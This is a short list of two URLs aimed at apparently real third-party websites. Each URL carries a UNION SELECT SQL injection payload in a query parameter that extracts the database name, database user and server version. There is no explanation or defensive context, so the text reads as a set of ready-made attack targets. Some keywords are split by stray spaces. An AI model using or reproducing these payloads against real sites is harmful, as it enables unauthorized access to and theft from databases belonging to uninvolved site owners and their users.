http://www.kbb-forum.net/journal/content.php3?id=21+union+select+1,concat(0x2,datab ase(),user(),version()),3,4,5,6,7,8,9,10,11,12+lim it+1,1

http://www.universaledition.com/truman/en_templates/view.php3?f_id=17+union+select+concat_ws(0x3,versi on(),user(),database()),2